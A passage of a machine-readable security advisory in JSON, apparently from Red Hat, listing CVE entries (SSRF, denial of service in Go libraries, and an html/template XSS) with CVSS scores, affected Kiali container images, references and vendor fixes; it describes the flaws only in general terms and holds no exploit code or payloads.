            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "ip-address: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification"
    },
    {
      "cve": "CVE-2026-56852",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "discovery_date": "2026-07-21T20:01:56.266823+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2504233"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in golang.org/x/text. The norm.Iter component can enter an infinite loop when processing input that contains invalid UTF-8 (Unicode Transformation Format - 8-bit) bytes. A remote attacker could exploit this vulnerability by providing specially crafted input, leading to a Denial of Service (DoS) condition where the affected application becomes unresponsive.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "golang.org/x/text: golang.org/x/text: Denial of Service via invalid UTF-8 input",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: This flaw in the `golang.org/x/text` library can lead to a denial of service. An attacker could provide specially crafted invalid UTF-8 input to an application using the affected `norm.Iter` functionality, causing it to enter an infinite loop and become unresponsive.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56852"
        },
        {
          "category": "external",
          "summary": "RHBZ#2504233",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2504233"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56852",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56852",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56852"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/794100",
          "url": "https://go.dev/cl/794100"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80142",
          "url": "https://go.dev/issue/80142"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-5970",
          "url": "https://pkg.go.dev/vuln/GO-2026-5970"
        }
      ],
      "release_date": "2026-07-21T19:18:59.951000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "golang.org/x/text: golang.org/x/text: Denial of Service via invalid UTF-8 input"
    },
    {
      "cve": "CVE-2026-56853",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-13T22:14:53.561638+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515827"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `net/http` component of the Go standard library. When a server is configured to support unencrypted HTTP/2, it reads initial bytes from new connections to detect the HTTP/2 client preface. However, the `ReadHeaderTimeout` is not correctly applied during this process. This oversight could allow a remote attacker to maintain open connections indefinitely, potentially leading to a Denial of Service (DoS) by exhausting server resources.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: Unencrypted HTTP/2 servers are susceptible to a denial of service due to improper handling of ReadHeaderTimeout during the client preface reading phase. This can lead to resource exhaustion and service unavailability in affected Red Hat products configured to support unencrypted HTTP/2.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56853"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515827",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56853",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56853",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56853"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/795540",
          "url": "https://go.dev/cl/795540"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80205",
          "url": "https://go.dev/issue/80205"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-6089",
          "url": "https://pkg.go.dev/vuln/GO-2026-6089"
        }
      ],
      "release_date": "2026-08-13T21:58:53.092000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service"
    },
    {
      "cve": "CVE-2026-56858",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-08-13T22:16:32.034590+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515838"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `html/template` component of Go (golang). Pathological inputs could prematurely close an unescaped forward slash (\u0027/\u0027), allowing an attacker to inject arbitrary content. This could lead to Cross-Site Scripting (XSS), where malicious scripts are executed in a user\u0027s browser, potentially compromising user data or actions.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important cross-site scripting (XSS) vulnerability in the Go `html/template` package. Applications utilizing this package to render untrusted input are susceptible to arbitrary content injection due to a flaw in how pathological inputs are handled, potentially leading to client-side script execution.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56858"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515838",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56858",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56858",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56858"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/807100",
          "url": "https://go.dev/cl/807100"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80435",
          "url": "https://go.dev/issue/80435"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-6091",
          "url": "https://pkg.go.dev/vuln/GO-2026-6091"
        }
      ],
      "release_date": "2026-08-13T21:58:53.354000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
